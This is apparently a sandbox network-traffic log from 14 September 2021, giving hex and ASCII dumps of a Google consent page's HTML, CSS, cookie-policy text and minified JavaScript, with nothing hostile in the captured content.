2021-09-14 14:03:24 UTC 119 IN Data Raw: e0 b1 81 e2 80 ac 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 22 20 61 72 69 61 2d 6c 
61 62 65 6c 3d 22 e2 80 aa e0 b2 95 e0 b2 a8 e0 b3 8d e0 b2 a8 e0 b2 a1 e2 80 ac 22 20 64 61 74 61 2d 68 6c 3d 22 6b 
6e 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e e2 80 aa e0 b2 95 e0 
b2 a8 e0 b3 8d e0 b2 a8 e0 b2 a1 e2 80 ac 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 22 20 61 7
2 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa e0 b4 ae e0 b4 b2 e0 b4 af e0 b4 be e0 b4 b3 e0 b4 82 e2 80 ac 22 20 64 61 74 
61 2d 68 6c 3d 22 6d 6c 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 
e2 80 aa e0 b4 ae e0 b4 b2 e0 b4 af e0 b4 be e0 b4 b3 e0 b4 82 e2 80 
Data Ascii: </li><li class="Ge0Aub" aria-label="" data-hl="kn" role="menuitem" tabindex="0"></li><li class="Ge0Aub" aria-
label="" data-hl="ml" role="menuitem" tabindex="0">

2021-09-14 14:03:24 UTC 121 IN Data Raw: ae 80 e4 bd 93 e4 b8 ad e6 96 87 e2 80 ac 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 
22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 e2 80 ac 22 20 64 61 74 61 2d 
68 6c 3d 22 7a 68 2d 54 57 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 
3e e2 80 aa e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 e2 80 ac 3c 2f 6c 69 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 
76 3e 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 6e 65 44 59 77 22 20 69 64 3d 22 67 6b 73 53 31 64 22 20 61 72 69 6
1 2d 6c 61 62 65 6c 3d 22 53 69 67 6e 20 69 6e 22 20 64 61 74 61 2d 76 65 64 3d 22 30 61 68 55 4b 45 77 69 4e 73 61 4c 
63 30 50 37 79 41 68 57 4e 33 4b 51 4b 48 52 6c 58 42 7a 73 51 69 
Data Ascii: </li><li class="Ge0Aub" aria-label="" data-hl="zh-TW" role="menuitem" tabindex="0"></li></div></div></div><b
utton class="neDYw" id="gksS1d" aria-label="Sign in" data-ved="0ahUKEwiNsaLc0P7yAhWN3KQKHRlXBzsQi

2021-09-14 14:03:24 UTC 122 IN Data Raw: 6a 51 79 4e 53 41 33 4c 6a 55 67 4d 54 55 67 4e 79 34 31 57 6b 30 78 4d 79 34 78 4d 6a 55 67 4d 54 45 75 4f 
44 63 31 51 7a 45 7a 4c 6a 45 79 4e 53 41 78 4d 69 34 35 4d 54 49 31 49 44 45 7a 4c 6a 6b 32 4d 6a 55 67 4d 54 4d 75 
4e 7a 55 67 4d 54 55 67 4d 54 4d 75 4e 7a 56 44 4d 54 59 75 4d 44 4d 33 4e 53 41 78 4d 79 34 33 4e 53 41 78 4e 69 34 
34 4e 7a 55 67 4d 54 49 75 4f 54 45 79 4e 53 41 78 4e 69 34 34 4e 7a 55 67 4d 54 45 75 4f 44 63 31 51 7a 45 32 4c 6a 6
7 33 4e 53 41 78 4d 43 34 34 4d 7a 63 31 49 44 45 32 4c 6a 41 7a 4e 7a 55 67 4d 54 41 67 4d 54 55 67 4d 54 42 44 4d 
54 4d 75 4f 54 59 79 4e 53 41 78 4d 43 41 78 4d 79 34 78 4d 6a 55 67 4d 54 41 75 4f 44 4d 33 4e 53 41 78 4d 79 34 78 
4d 6a 55 67 4d 54 45 75 4f 44 63 31 57 69 49 67 5a 6d 6c 73 62 44 30 69 
Data Ascii: jQyNSA3LjUgMTUgNy41Wk0xMy4xMjUgMTEuODc1QzEzLjEyNSAxMi45MTI1IDEzLjk2MjUgMTMuNzU
gMTUgMTMuNzVDMTYuMDM3NSAxMy43NSAxNi44NzUgMTIuOTEyNSAxNi44NzUgMTEuODc1QzE2Ljg3NSA
xMC44Mzc1IDE2LjAzNzUgMTAgMTUgMTBDMTMuOTYyNSAxMCAxMy4xMjUgMTAuODM3NSAxMy4xMjUgMTE
uODc1WiIgZmlsbD0i

2021-09-14 14:03:24 UTC 123 IN Data Raw: 4e 79 66 73 2f 61 46 74 57 53 74 6f 62 42 78 42 45 38 42 33 47 39 35 45 31 73 75 56 77 4f 4f 79 5a 71 37 7a 
46 59 56 6b 6e 67 73 56 68 59 52 38 34 69 32 55 64 7a 70 77 73 6c 6e 55 49 4f 49 75 35 48 4f 71 4c 74 32 72 44 76 34 32 
2b 57 47 79 66 43 35 46 56 78 65 42 6b 69 6f 62 4b 56 70 6c 57 6e 69 37 52 57 32 7a 65 4e 62 4b 36 65 4a 32 32 78 6a 
59 51 46 65 6c 31 53 36 67 73 4e 73 39 46 36 4c 4b 75 4b 48 63 51 6e 55 78 77 6f 5a 45 66 50 6e 4a 36 4c 63 65 6e 78 
65 59 46 36 48 56 6c 50 59 52 70 6c 38 4a 47 49 2f 43 61 35 4e 68 59 62 46 36 6b 30 39 56 31 52 4a 6d 69 59 68 78 6a 4
2 2b 36 35 4a 36 33 46 31 6e 6e 49 75 72 6f 4d 55 33 38 6e 74 57 31 49 6b 44 66 6a 77 61 37 55 75 68 63 62 70 6e 36 34 
75 59 35 48 39 50 4a 6d 72 47 69 41 6a 52 64 74 67 72 30 34 45 70 
Data Ascii: Nyfs/aFtWStobBxBE8B3G95E1suVwOOyZq7zFYVkngsVhYR84i2UdzpwslnUIOIu5HOqLt2rDv42+W
GyfC5FVxeBkiobKVplWni7RW2zeNbK6eJ22xjYQFel1S6gsNs9F6LKuKHcQnUxwoZEfPnJ6LcenxeYF6HVlPYRpl8J
GI/Ca5NhYbF6k09V1RJmiYhxjB+65J63F1nnIuroMU38ntW1IkDfjwa7Uuhcbpn64uY5H9PJmrGiAjRdtgr04Ep

2021-09-14 14:03:24 UTC 124 IN Data Raw: 76 44 66 41 31 35 74 4e 77 6b 53 43 63 7a 70 4d 46 75 68 75 78 76 39 6e 41 51 6a 42 49 6b 4f 61 4d 41 34 73 
36 52 46 4f 55 4e 6c 33 30 41 56 6d 4f 45 52 36 6f 53 34 64 36 42 4a 65 42 68 45 31 6b 47 38 48 56 49 5a 71 69 74 4e 6d 
69 44 77 34 58 43 67 34 50 55 70 73 68 62 53 70 70 77 4d 70 74 46 71 49 56 46 49 30 57 50 51 38 58 64 78 44 4f 36 5a 
70 76 76 36 56 76 6b 32 59 6e 2b 7a 5a 70 54 58 6b 48 4a 6f 75 65 4c 46 4b 59 53 41 4f 4c 47 62 79 41 7a 32 50 34 39 4c 
30 6b 4d 30 57 50 5a 6f 74 55 5a 69 4d 44 52 52 64 68 4b 79 66 77 53 6d 57 58 6f 72 39 2b 76 55 58 30 55 62 6a 59 67 
50 44 49 4f 4e 45 6c 75 4d 6f 4a 76 41 45 30 64 69 66 36 61 36 66 7a 64 55 33 30 2f 48 67 52 35 33 67 32 4f 54 67 52 48 
45 78 6d 30 67 56 7a 30 30 52 58 77 48 67 43 68 67 70 39 4a 51 
Data Ascii: vDfA15tNwkSCczpMFuhuxv9nAQjBIkOaMA4s6RFOUNl30AVmOER6oS4d6BJeBhE1kG8HVIZqitNmiD
w4XCg4PUpshbSppwMptFqIVFI0WPQ8XdxDO6Zpvv6Vvk2Yn+zZpTXkHJoueLFKYSAOLGbyAz2P49L0kM0WPZotUZiM
DRRdhKyfwSmWXor9+vUX0UbjYgPDIONEluMoJvAE0dif6a6fzdU30/HgR53g2OTgRHExm0gVz00RXwHgChgp9JQ

2021-09-14 14:03:24 UTC 126 IN Data Raw: 41 48 6b 63 50 39 50 63 4c 67 36 5a 4c 70 43 6a 58 74 36 49 73 48 57 6f 56 30 44 54 46 44 6b 73 48 45 6c 67 
36 59 76 62 63 79 35 36 70 78 45 52 43 33 38 64 78 58 69 79 56 52 74 51 5a 6a 6a 51 42 37 55 53 54 4f 64 44 76 77 6a 
6d 2f 34 30 4f 6a 39 37 4f 33 36 75 37 45 30 52 6b 4b 67 50 62 65 70 6f 31 73 65 4b 63 32 47 57 68 6b 63 72 7a 79 5a 70 
69 42 70 72 75 75 33 38 4a 42 66 36 4e 37 75 41 48 4c 64 6f 4d 44 6b 51 37 76 76 49 66 38 43 44 51 54 69 5a 32 50 49 
39 32 66 73 47 68 75 61 45 51 72 76 6d 47 67 2f 38 66 75 53 70 6a 4d 68 6c 71 2b 47 30 4c 44 69 57 6a 43 67 6d 4f 72 50 
47 67 34 4d 37 38 51 77 52 53 38 59 76 43 68 52 78 6c 6f 4b 70 63 4e 42 35 32 6c 7a 79 55 51 4f 74 49 70 75 50 63 67 4e 
6f 46 47 2b 58 49 66 66 4b 53 46 62 4c 44 37 69 30 72 2f 47 41 
Data Ascii: AHkcP9PcLg6ZLpCjXt6IsHWoV0DTFDksHElg6Yvbcy56pxERC38dxXiyVRtQZjjQB7USTOdDvwjm/4
0Oj97O36u7E0RkKgPbepo1seKc2GWhkcrzyZpiBpruu38JBf6N7uAHLdoMDkQ7vvIf8CDQTiZ2PI92fsGhuaEQrvmG
g/8fuSpjMhlq+G0LDiWjCgmOrPGg4M78QwRS8YvChRxloKpcNB52lzyUQOtIpuPcgNoFG+XIffKSFbLD7i0r/GA
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2021-09-14 14:03:24 UTC 127 IN Data Raw: 38 30 30 30 0d 0a 4b 68 64 62 33 39 54 44 51 7a 54 4b 52 74 71 69 74 4e 4e 76 51 34 37 69 69 48 42 7a 78 
30 6f 4b 68 39 33 56 55 42 4d 53 37 41 6c 31 32 53 57 76 2f 46 4d 66 56 5a 44 43 30 65 47 6e 42 30 41 6a 32 42 5a 48 72 
39 6c 52 4b 4c 6d 6c 4e 48 57 57 76 4b 4e 38 34 61 65 48 53 41 71 43 78 4c 34 68 34 64 77 6e 6c 79 70 38 6a 65 30 53 
36 70 50 30 39 2b 72 31 39 75 38 70 74 4d 41 61 43 41 4e 77 72 35 52 72 42 39 7a 49 7a 4d 30 7a 2b 68 70 6e 78 75 72 
55 6d 71 67 4f 62 6f 68 56 79 50 42 66 77 36 70 4e 6c 57 6e 6e 34 4c 37 6a 39 30 75 62 68 44 69 65 56 52 64 38 62 51 34 
6c 36 58 68 51 36 2f 78 6e 33 66 64 6d 6b 4f 55 63 6e 44 2b 32 6b 75 52 70 45 66 6c 34 36 44 4b 47 64 4e 4e 66 64 54 
56 70 47 39 48 63 56 75 52 6b 47 44 4b 47 64 64 49 78 6e 69 59 69 65 
Data Ascii: 8000Khdb39TDQzTKRtqitNNvQ47iiHBzx0oKh93VUBMS7Al12SWv/FMfVZDC0eGnB0Aj2BZHr9lRKL
mlNHWWvKN84aeHSAqCxL4h4dwnlyp8je0S6pP09+r19u8ptMAaCANwr5RrB9zIzM0z+hpnxurUmqgObohVyPBfw6pN
lWnn4L7j90ubhDieVRd8bQ4l6XhQ6/xn3fdmkOUcnD+2kuRpEfl46DKGdNNfdTVpG9HcVuRkGDKGddIxniYie

2021-09-14 14:03:24 UTC 128 IN Data Raw: 64 74 68 3a 32 37 31 70 78 3b 70 61 64 64 69 6e 67 3a 30 20 32 30 70 78 3b 68 65 69 67 68 74 3a 34 30 30 
70 78 3b 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 73 6d 6f 6f 74 68 7d 2e 49 4b 6c 37 51 20 75 6c 7b 6d 61 72 67 
69 6e 3a 30 20 31 38 70 78 3b 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 30 7d 2e 74 48 6c 70 38 
64 7b 68 65 69 67 68 74 3a 34 38 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 6
9 6e 3a 30 20 34 70 78 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 62 6f 72 64 65 72 3a 30 3b 62 61 63 6b 67 72 6f 7
5 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 74 48 6c 70 38 64 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 3a 30 3b 6f 7
5 74 6c 69 6e 65 3a 30 7d 2e 6a 79 66 48 79 64 7b 70 6f 73 69 74 
Data Ascii: dth:271px;padding:0 20px;height:400px;scroll-behavior:smooth}.IKl7Q ul{margin:0 18px;padding-inline-start:0}
.tHlp8d{height:48px;display:inline-block;margin:0 4px;cursor:pointer;border:0;background:transparent}.tHlp8d:focus{borde
r:0;outline:0}.jyfHyd{posit

2021-09-14 14:03:24 UTC 129 IN Data Raw: 63 6c 61 73 73 3d 22 65 4c 5a 59 79 66 22 3e 47 6f 6f 67 6c 65 20 75 73 65 73 20 3c 61 20 63 6c 61 73 73 3d 
22 46 34 61 31 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 67 6f 6f 67 6c 65 2e 63 6f 
6d 2f 74 65 63 68 6e 6f 6c 6f 67 69 65 73 2f 63 6f 6f 6b 69 65 73 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 75 63 62 73 26 61 6d 
70 3b 68 6c 3d 65 6e 2d 47 42 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 63 6f 6f 6b 69 65 73 3c 2f 61 3e 20 
61 6e 64 20 64 61 74 61 20 74 6f 3a 3c 75 6c 20 63 6c 61 73 73 3d 22 64 62 58 4f 39 22 3e 3c 6c 69 20 63 6c 61 73 73 3d 
22 67 6f 77 73 59 64 20 69 62 43 46 30 63 22 3e 44 65 6c 69 76 65 72 20 61 6e 64 20 6d 61 69 6e 74 61 69 6e 20 73 65 
72 76 69 63 65 73 2c 20 6c 69 6b 65 20 74 72 61 63 6b 69 
Data Ascii: class="eLZYyf">Google uses <a class="F4a1l" href="https://policies.google.com/technologies/cookies?
utm_source=ucbs&amp;hl=en-GB" target="_blank">cookies</a> and data to:<ul class="dbXO9"><li class="gowsYd ibC
F0c">Deliver and maintain services, like tracki

2021-09-14 14:03:24 UTC 131 IN Data Raw: 20 6d 6f 72 65 20 72 65 6c 65 76 61 6e 74 20 72 65 73 75 6c 74 73 20 61 6e 64 20 72 65 63 6f 6d 6d 65 6e 64 
61 74 69 6f 6e 73 2c 20 61 20 63 75 73 74 6f 6d 69 73 65 64 20 59 6f 75 54 75 62 65 20 68 6f 6d 65 70 61 67 65 2c 20 61 
6e 64 20 61 64 73 20 74 68 61 74 20 61 72 65 20 74 61 69 6c 6f 72 65 64 20 74 6f 20 79 6f 75 72 20 69 6e 74 65 72 65 73 
74 73 2e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 79 53 31 6e 6c 64 22 3e 43 6c 69 63 6b 20 27 43 75 73 
74 6f 6d 69 73 65 27 20 74 6f 20 72 65 76 69 65 77 20 6f 70 74 69 6f 6e 73 2c 20 69 6e 63 6c 75 64 69 6e 67 20 63 6f 6e 
74 72 6f 6c 73 20 74 6f 20 72 65 6a 65 63 74 20 74 68 65 20 75 73 65 20 6f 66 20 63 6f 6f 6b 69 65 73 20 66 6f 72 20 70 
65 72 73 6f 6e 61 6c 69 73 61 74 69 6f 6e 20 61 6e 64 20 69 
Data Ascii:  more relevant results and recommendations, a customised YouTube homepage, and ads that are tailored to 
your interests.</div><div class="yS1nld">Click 'Customise' to review options, including controls to reject the use of cookies 
for personalisation and i

2021-09-14 14:03:24 UTC 132 IN Data Raw: 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 26 6d 69 64 64 6f 74 3b 3c 2f 64 69 76 3e 3c 
61 20 63 6c 61 73 73 3d 22 70 65 52 4c 32 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 
67 6f 6f 67 6c 65 2e 63 6f 6d 2f 74 65 72 6d 73 3f 68 6c 3d 65 6e 2d 47 42 26 61 6d 70 3b 66 67 3d 31 26 61 6d 70 3b 75 
74 6d 5f 73 6f 75 72 63 65 3d 75 63 62 73 22 20 69 64 3d 22 48 51 31 6c 62 22 20 64 61 74 61 2d 76 65 64 3d 22 30 61 
68 55 4b 45 77 69 4e 73 61 4c 63 30 50 37 79 41 68 57 4e 33 4b 51 4b 48 52 6c 58 42 7a 73 51 6b 4a 41 48 43 42 30 22 
3e 54 65 72 6d 73 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 
3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 
Data Ascii: " aria-hidden="true">&middot;</div><a class="peRL2e" href="https://policies.google.com/terms?hl=en-
GB&amp;fg=1&amp;utm_source=ucbs" id="HQ1lb" data-ved="0ahUKEwiNsaLc0P7yAhWN3KQKHRlXBzsQkJ
AHCB0">Terms</a></div></div></div></span></div></div><script nonce=

2021-09-14 14:03:24 UTC 133 IN Data Raw: 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 4f 66 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 
6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 4f 66 2e 63 61 6c 6c 28 61 2c 62 2c 76 6f 69 64 20 
30 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 
61 29 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 21 3d 3d 74 79 70 65 6f 66 20 62 7c 7c 31 21 3d 62 2e 6c 65 6e 67 74 
68 3f 2d 31 3a 61 2e 69 6e 64 65 78 4f 66 28 62 2c 30 29 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 
74 68 3b 63 2b 2b 29 69 66 28 63 20 69 6e 20 61 26 26 61 5b 63 5d 3d 3d 3d 62 29 72 65 74 75 72 6e 20 63 3b 72 65 74 
75 72 6e 2d 31 7d 2c 70 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 
Data Ascii: prototype.indexOf?function(a,b){return Array.prototype.indexOf.call(a,b,void 0)}:function(a,b){if("string"==
=typeof a)return"string"!==typeof b||1!=b.length?-1:a.indexOf(b,0);for(var c=0;c<a.length;c++)if(c in a&&a[c]===b)return 
c;return-1},p=Array.protot

2021-09-14 14:03:24 UTC 134 IN Data Raw: 7a 28 22 54 72 69 64 65 6e 74 22 29 7c 7c 7a 28 22 4d 53 49 45 22 29 2c 65 61 3d 7a 28 22 45 64 67 65 22 29 
2c 66 61 3d 7a 28 22 47 65 63 6b 6f 22 29 26 26 21 28 2d 31 21 3d 77 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 
64 65 78 4f 66 28 22 77 65 62 6b 69 74 22 29 26 26 21 7a 28 22 45 64 67 65 22 29 29 26 26 21 28 7a 28 22 54 72 69 64 
65 6e 74 22 29 7c 7c 7a 28 22 4d 53 49 45 22 29 29 26 26 21 7a 28 22 45 64 67 65 22 29 2c 47 3d 2d 31 21 3d 77 2e 74 
6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 77 65 62 6b 69 74 22 29 26 26 21 7a 28 22 45 64 67 65 
22 29 2c 48 3b 61 3a 7b 76 61 72 20 49 3d 22 22 2c 4a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 77 3b 69 6
6 28 66 61 29 72 65 74 75 72 6e 2f 72 76 3a 28 5b 5e 5c 29 3b 5d 
Data Ascii: z("Trident")||z("MSIE"),ea=z("Edge"),fa=z("Gecko")&&!(-1!=w.toLowerCase().indexOf("webkit")&&!z("E
dge"))&&!(z("Trident")||z("MSIE"))&&!z("Edge"),G=-1!=w.toLowerCase().indexOf("webkit")&&!z("Edge"),H;a:{var I="",J=funct
ion(){var a=w;if(fa)return/rv:([^\);]

2021-09-14 14:03:24 UTC 136 IN Data Raw: 61 74 61 73 65 74 29 7b 69 66 28 45 28 29 26 26 21 28 22 76 65 64 22 69 6e 20 61 2e 64 61 74 61 73 65 74 
29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 3d 61 2e 64 61 74 61 73 65 74 2e 76 65 64 3b 72 65 74 75 72 6e 20 76 6f 
69 64 20 30 3d 3d 3d 61 3f 6e 75 6c 6c 3a 61 7d 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6
4 61 74 61 2d 22 2b 22 76 65 64 22 2e 72 65 70 6c 61 63 65 28 2f 28 5b 41 2d 5a 5d 29 2f 67 2c 22 2d 24 31 22 29 2e 74 
6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7d 3b 76 61 72 20 71 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 67 3d 
5b 5d 3b 74 68 69 73 2e 68 3d 22 22 7d 2c 72 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 22 22 
3b 62 26 26 28 63 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 
Data Ascii: ataset){if(E()&&!("ved"in a.dataset))return null;a=a.dataset.ved;return void 0===a?null:a}return a.getAttrib
ute("data-"+"ved".replace(/([A-Z])/g,"-$1").toLowerCase())};var qa=function(){this.g=[];this.h=""},ra=function(a,b){var 
c="";b&&(c="string"==typeof
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2021-09-14 14:03:24 UTC 137 IN Data Raw: 68 2b 22 2e 22 2b 75 3a 22 22 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 64 65 64 75 70 65 2d 69 6e 73 
65 72 74 22 3a 65 2e 70 75 73 68 28 66 2b 22 2e 22 2b 6c 2b 22 2e 69 22 2b 28 75 3f 22 2e 31 2e 22 2b 68 2b 22 2e 22 
2b 75 3a 22 2e 31 22 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 68 69 64 65 22 3a 65 2e 70 75 73 68 28 66 2b 22 2e 
22 2b 6c 2b 22 2e 68 22 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 63 6f 70 79 22 3a 65 2e 70 75 73 68 28 22 2e 22 2b 
44 2b 22 2e 63 22 29 7d 7d 4f 28 6b 2c 22 76 65 74 22 2c 65 2e 6c 65 6e 67 74 68 3f 22 31 22 2b 65 2e 6a 6f 69 6e 28 22 
3b 22 29 3a 22 22 29 7d 69 66 28 61 29 66 6f 72 28 76 61 72 20 6d 61 20 69 6e 20 61 29 4f 28 6b 2c 6d 61 2c 61 5b 6d 61 
5d 29 3b 6b 2e 6c 6f 67 28 29 7d 2c 79 61 3d 66 75 6e 63 74 69 6f 6e 
Data Ascii: h+"."+u:""));break;case "dedupe-insert":e.push(f+"."+l+".i"+(u?".1."+h+"."+u:".1"));break;case "hide":e.push
(f+"."+l+".h");break;case "copy":e.push("."+D+".c")}}O(k,"vet",e.length?"1"+e.join(";"):"")}if(a)for(var ma in a)O(k,ma,
a[ma]);k.log()},ya=function

2021-09-14 14:03:24 UTC 138 IN Data Raw: 73 74 49 6e 64 65 78 4f 66 28 63 2c 30 29 29 72 65 74 75 72 6e 20 64 2e 73 75 62 73 74 72 28 63 2e 6c 65 6e 
67 74 68 29 3b 69 66 28 64 3d 3d 61 29 72 65 74 75 72 6e 22 22 7d 72 65 74 75 72 6e 20 62 7d 3b 76 61 72 20 7a 61 3d 
66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 67 65 74 28 22 54 45 53 54 43 4f 4f 4b 49 45 53 45 4e 41 42 4c 45 44 22 29 3b 
61 2e 73 65 74 28 22 54 45 53 54 43 4f 4f 4b 49 45 53 45 4e 41 42 4c 45 44 22 2c 22 22 2c 7b 49 3a 30 2c 70 61 74 68 3a 
76 6f 69 64 20 30 2c 64 6f 6d 61 69 6e 3a 76 6f 69 64 20 30 7d 29 7d 3b 76 61 72 20 51 3d 6e 65 77 20 50 3b 76 61 72 20 
52 3b 76 61 72 20 42 61 3d 46 7c 7c 47 3b 76 61 72 20 53 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 64 6f 
63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 
Data Ascii: stIndexOf(c,0))return d.substr(c.length);if(d==a)return""}return b};var za=function(a){a.get("TESTCOOKIESENA
BLED");a.set("TESTCOOKIESENABLED","",{I:0,path:void 0,domain:void 0})};var Q=new P;var R;var Ba=F||G;var S=fun
ction(a){var b=document;return"string

2021-09-14 14:03:24 UTC 140 IN Data Raw: 28 29 7b 72 65 74 75 72 6e 20 61 2e 66 6f 63 75 73 28 29 7d 2c 35 30 30 29 7d 0a 76 61 72 20 4a 61 3d 66 75 
6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 3b 62 2e 70 72 65 76 65 6e 
74 44 65 66 61 75 6c 74 28 29 3b 4e 28 61 2e 69 2c 7b 6a 3a 33 7d 29 3b 69 66 28 62 2e 74 61 72 67 65 74 20 69 6e 73 
74 61 6e 63 65 6f 66 20 45 6c 65 6d 65 6e 74 26 26 28 61 3d 62 2e 74 61 72 67 65 74 2e 67 65 74 41 74 74 72 69 62 75 
74 65 28 22 64 61 74 61 2d 68 6c 22 29 29 29 7b 62 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 22 68 6c 
22 29 3b 61 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 29 3b 66 6f 72 28 76 61 72 20 63 3d 64 6f 63 
75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 
Data Ascii: (){return a.focus()},500)}var Ja=function(a,b){b.stopPropagation();b.preventDefault();N(a.i,{j:3});if(b.target 
instanceof Element&&(a=b.target.getAttribute("data-hl"))){b=encodeURIComponent("hl");a=encodeURIComponent(a
);for(var c=document.location.search

2021-09-14 14:03:24 UTC 141 IN Data Raw: 7c 28 62 3d 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 22 29 2c 62 3d 6e 65 77 
20 76 28 62 2c 74 29 29 2c 61 2e 68 72 65 66 3d 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 76 26 26 62 2e 63 6f 6e 73 74 72 
75 63 74 6f 72 3d 3d 3d 76 3f 62 2e 67 3a 22 74 79 70 65 5f 65 72 72 6f 72 3a 53 61 66 65 55 72 6c 22 29 7d 2c 4d 61 3d 
66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6e 75 6c 6c 3d 3d 62 7c 7c 62 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 
28 29 3b 61 2e 69 26 26 61 2e 73 26 26 21 61 2e 76 26 26 28 61 2e 69 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 
62 6c 6f 63 6b 22 2c 61 2e 76 3d 21 30 2c 61 2e 4c 26 26 49 61 28 61 2e 69 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 
22 6c 69 22 29 29 2c 61 2e 73 2e 73 65 74 41 74 74 72 69 62 
Data Ascii: |(b="about:invalid#zClosurez"),b=new v(b,t)),a.href=b instanceof v&&b.constructor===v?b.g:"type_error:SafeUr
l")},Ma=function(a,b){null==b||b.stopPropagation();a.i&&a.s&&!a.v&&(a.i.style.display="block",a.v=!0,a.L&&Ia(a.i.querySe
lector("li")),a.s.setAttrib

2021-09-14 14:03:24 UTC 142 IN Data Raw: 6e 67 28 64 29 29 3b 64 26 26 28 64 3d 21 30 2c 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 64 29 26 26 28 64 
3d 64 2e 6a 6f 69 6e 28 22 20 22 29 29 2c 22 22 3d 3d 3d 64 7c 7c 76 6f 69 64 20 30 3d 3d 64 3f 28 52 7c 7c 28 52 3d 7b 
61 74 6f 6d 69 63 3a 21 31 2c 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3a 22 6e 6f 6e 65 22 2c 64 72 6f 70 65 66 66 65 63 74 
3a 22 6e 6f 6e 65 22 2c 68 61 73 70 6f 70 75 70 3a 21 31 2c 6c 69 76 65 3a 22 6f 66 66 22 2c 6d 75 6c 74 69 6c 69 6e 65 
3a 21 31 2c 6d 75 6c 74 69 73 65 6c 65 63 74 61 62 6c 65 3a 21 31 2c 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 22 76 65 72 74 
69 63 61 6c 22 2c 72 65 61 64 6f 6e 6c 79 3a 21 31 2c 72 65 6c 65 76 61 6e 74 3a 22 61 64 64 69 74 69 6f 6e 73 20 74 65 
78 74 22 2c 72 65 71 75 69 72 65 64 3a 21 31 2c 73 6f 72 
Data Ascii: ng(d));d&&(d=!0,Array.isArray(d)&&(d=d.join(" ")),""===d||void 0==d?(R||(R={atomic:!1,autocomplete:"none",dr
